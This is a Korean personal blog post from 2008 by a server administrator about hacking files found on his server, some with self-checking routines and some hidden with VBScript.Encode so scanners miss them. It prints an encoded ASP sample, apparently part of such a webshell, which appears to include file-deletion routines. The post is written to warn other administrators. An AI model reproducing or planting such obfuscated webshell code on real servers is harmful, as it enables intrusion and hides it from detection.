Zasfe
Zasfe's memory
Zasfe
전체 방문자
오늘
어제
  • 분류 전체보기 (143)
    • 이야기 (50)
    • 뜻알기 (1)
    • 컴퓨터 (91)

인기 글

최근 글

태그

  • 저장프로시저
  • MSSQL2K
  • 배치파일
  • cmd
  • ASP
  • 홈페이지 보안 강화도구
  • Security
  • web.config
  • webknight2.1
  • 보안
  • webknight 2.2
  • backup
  • webhacking
  • IIS
  • webknight2.2
  • 생각
  • Castle
  • 캐슬
  • error
  • Microsoft Windows 2000 Scripting Guide
  • Function
  • rsync
  • webshell
  • Autoit
  • webknight
  • VBScript
  • IIS7
  • Skin
  • nslookup
  • MSSQL
hELLO · Designed By 정상우.
Zasfe

Zasfe's memory

컴퓨터

Script Encode 를 이용한 패턴

2008. 1. 17. 19:26

요근래 새롭지는 않지만 해킹의 방식이 바뀐듯 합니다.

작년의 경우에는 DoS 를 제외하고는 조용했다고 볼수 있을정도로 시스템해킹이 줄었었습니다.
하지만 여전히 시도를 하고 있으며, 관리자의 방심을 통해 널리(?) 알려진 문제로 인해 시스템을
악의적인 사용자에게 빼앗기는 문제까지 발생을 할수 있으니 주의하시기 바랍니다.

저 또한 예외가 아니듯 서버내 해킹파일을 탐지하는 프로그램을 만들어서 돌렸더니,
제가 전혀 예상치 못한 부분에서 해킹파일이 무더기로 나왔습니다.

그동안 나태해져있었음을 반성하고, 분석에 들어갔습니다.


새로운 패턴하나가 있더군요.
특정경로를 입력하면 그 하위에 있는 모든 파일에서 해킹시 사용되는 문법이 있는지 체크를 하는 함수가
있더군요.  이젠 만들고 중복으로 만들었는지 확인까지 하나 봅니다. ㅎㄷㄷ;;

그리고 소스를 암호화 해서 해킹파일을 탐지할수 없도록 만드는 파일이 많이 발견되었습니다.
우연히 발견한것인데, 주로 비슷한 경로에 위치하더군요.

 test.asp
<%@ LANGUAGE = VBScript.Encode %>
<%#@~^zkwAAA==~@#@&7"+kwW / b9Nu+mNn.,JnMCoslJB~ExKO1l^tnE@#@&7IdwKxdnc262rM+dP{~ F@#@&B{''{'{x'{'x'{'xx{''{x'{''{xx'{'{'x'xx{'x'{x'{'xx{''xx{'x'{x{'x{'{''{'{x'{'x'{'xx{''{x'{''{xx'{'{'x@#@&viP~P,~),P~~@#@&B7~,PlP@#@&EP~,P,P), ZTvc!0RZ%~@#@&BdAR:mkV,~lP^k +f@$UCD+ mKh@#@&Bxx{''xx{'x'{x{'x{'{''{'{x'{'x'{'xx{''{x'{''{xx'{'{'x'xx{'x'{x'{'xx{''xx{'x'{x{'x{'{''{'{x'{'x'{'xx@#@&@#@&vP[P상수정보P RRO O ORORR ORO RO ORR OORR ORO R OR O OO O RO ORO ORR OO RO OO RRO O ORORR ORO RO OR@#@&ZWUdDPind6zfo&SA{f&I,xJJE2VKl[&r@#@&E/W /Y,iKS}bGs(S3mzZPq}HP{J&C1lNnhHzrx1&!wsKl90WM:cC/aJ@#@&@#@&@#@&EPa,~O OO RRO O ORORR ORO RO ORR OORR ORO R OR O OO O RO ORO ORR OO RO OO RRO O @#@&P~~,s;x1OkKx~]:W-nwks+vWbVnalDt#,PE&0bVnz6ksUm:+c4ha@#@&i79ksPw?@#@&77GkhP9nV6ksnBDP@#@&idj+D~w?~{P;D+mY64N+^YvJj^MkwDrxTRsbsn?H/D+hr8%mOJ*@#@&id7[V0rsPxPUnM\nMRtlwalD4`6ks+alO4*@#@&i7dMP',ojRG+^+O+or^+cNs0bVnb@#@&d7jY~sU~{PHKY4kxT@#@&7d"+hW7+or^+P{.@#@&d2 [~s!x1YrWU~@#@&@#@&@#@&B,a~~


'컴퓨터' 카테고리의 다른 글

Webknight 2.1  (0) 2008.01.29
스크립트를 Encode 하고 Decode 하는 방법  (2) 2008.01.17
감사정책에 대해서 알고 계십니까?  (2) 2008.01.02
Flash Uploader 업로드 불가 문제  (3) 2007.11.16
EM 접속시간을 줄여보자 - sp_MSdbuseraccess 편  (2) 2007.11.15
    '컴퓨터' 카테고리의 다른 글
    • Webknight 2.1
    • 스크립트를 Encode 하고 Decode 하는 방법
    • 감사정책에 대해서 알고 계십니까?
    • Flash Uploader 업로드 불가 문제
    Zasfe
    Zasfe
    느낌. 기억

    티스토리툴바